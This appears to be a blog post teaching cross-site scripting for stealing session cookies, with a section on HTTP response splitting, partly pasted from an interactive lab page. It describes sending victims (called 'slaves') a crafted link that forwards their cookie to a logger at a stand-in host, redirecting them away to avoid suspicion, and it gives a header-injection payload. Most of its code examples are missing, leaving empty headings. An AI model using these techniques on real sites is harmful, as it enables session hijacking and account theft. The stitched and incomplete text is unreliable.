XSS attacks almost always focus upon sites which use cookies for storing our username and password.
The end goal of a malicious user is to steal the cookie of a user of the site, so that we can later impersonate them. (Steal in this context means get a copy of, rather than removing the original one).
This page has loaded a cookie upon our computer, if we reload the page we should see the counter at the top of the page increase.
This cookie will be used in the later lessons, so it's important that we have been here at least once. It's worth remembering that rather than just being a count as displayed here this would be something like our login details...
XSS, short for what is known as Cross-Site Scripting is the process of injecting JavaScript (mainly) and also HTML into a webpage for important feedback. This feedback may contain many things; one, most commonly being the user's cookie. Now, for everybody reading this, I assume that you know what a cookie is and how it is used on webpage, but if not, I will explain it anyways.
A cookie is the variable that web-browsers use to store your login credentials. Without a cookie, you cannot "stay logged in" on your favorite websites. This is important because if somebody were to obtain your cookie, he/she could easily spoof your login information without any need of knowing your password. Some cookies are pretty basic, like the PHPSESSID, which is just your session on a PHP powered page. If the website only used the PHPSESSID cookie to authenticate its users, somebody can steal the cookie via an XSS vulnerability and spoof whoever's cookie the attacker possesses.
The easiest way to find XSS holes in websites is manually. I'm sure you can write a script to do it for you, but that takes the fun out of it.
When searching for holes, you might want to check these fields:
a) Search Field
b) Comment Fields
c) Feedback Forms
d) Login Forms
e) Error Pages
1. Basic XSS
a. This is something simple, like a search field that allows HTML input. When the user searches for something and the input is reflected on the following page, this may show signs of XSS possibilities. Now, when a user searches for something like <h1>test</h1>, if the page returned contains a large heading that reads "test", the field is vulnerable to HTML injection. If the user were to search for <script>alert(1)</script>, and the returning page contained and alert box that read "1", the field is also vulnerable to XSS Injection.
2. HTTP Response Splitting
a. This has something to do with the headers that your browser uses to communicate to the server with. If the webpage allows you to modify them via post or get vars, and reflects the information back, you can easily modify these headers to your needs in order to cross-site script the page. Most commonly, the header's that are XSS'able are the User-Agent: headers. Most pages don't sanitize the user agent when reflecting back the user's browser properties (most commonly on a 404 page.)
Here is where I will discuss some different syntaxes of XSS and how to steal cookies. I will also explain the idea of how the XSS syntaxes work.
a)
This works because when a website allows JavaScript to be executed, you can have a pre-made JavaScript file type on a remote server and the <script src=""> tag will read from it and execute it on the page.
b)
This is what I mostly use to escape fields on the website. Let's say that I search for "test", and the next page has the word "test" in the search field again, I will try to escape it with this code.
c)
This script will try to include a fake image named "xss.png" and will automatically error. On the error, it will execute the JavaScript to redirect to a logger and log the slave's cookie.
d)
This is the most basic JavaScript for a cookie stealing attempt. This is what would most likely be placed inside one of the many .js files being retrieved by a remote server.
This script will redirect the webpage to http://sitea.com/log.php?c=[THEIR COOKIE]&redirect=http://siteb.com
The GET variable c contains the user's cookie from the following page. The redirect part is just another GET var that will redirect them away from the logger, to another website, so that they do not notice anything TOO strange. The best way to avoid suspicion is to redirect them to the same site, just a different page.
Breakdown of the JavaScript if you didn't already know it:
document.location=""; or document.location(); is a function in JavaScript that changes the document (webpage)'s
location. document.cookie is JavaScript's way of storing cookie information on a website. Mostly everything can be called from document.* whatever.
After that, all that is pretty much left to do is send a link containing the URL with the XSS vulnerability in it to your slave and let he/she click it, while you wait for your cookies.
Part VII. HTTP Response Splitting - HRS
HRS, although not a common practice amongst the hacking community, is rather taboo, yet one of the more popular and holds the most dangerous capabilities of Cross-Site Scripting. With it, you can modify or create your own headers to do any of the following: Redirect, Spoof Request Data (POST or GET), Spoof UserAgent, Spoof Referrer, Change your IP, change the information on a webpage, replace a webpage with only specified text. You can even use it to brute force a website. Although you'd need to create a script to loop the request Var yourself.
An example of an HRS vulnerable script would be the following:
This is what is most commonly exploited in HRS. The location. Most sites (ones who want hits and popularity), would rather have links go to other pages with their site into the referrer. Mostly for popularity, hits, advertising etc..
The worst part about this script is the fact that it is un-sanitized. You can easily modify the header to do whatever you want. An easy way to check if it is vulnerable is by placing this in the ?url= variable.
%0AContent-Type: text/html%0AContent-Length: 13%0A%0AKr3w was here
The %0A is the hex value for \n or a new line escape character. This will replace all the text on the webpage with "Kr3w was here".
The possibilities with what a hacker can do with this are seemingly endless. A way to fix this is by simply replacing all % characters in the header.
Scripts and Syntax for the Log.php and Evil.js:
-Evil.js
-Log.php
LINK FOR FULL INFROMATION ABOUT XSS :
http://ha.ckers.org/xss.html
http://www.expertsrt.com/tutorials/Matt/...aders.html
http://en.wikipedia.org/wiki/Xss
0 comments:
Post a Comment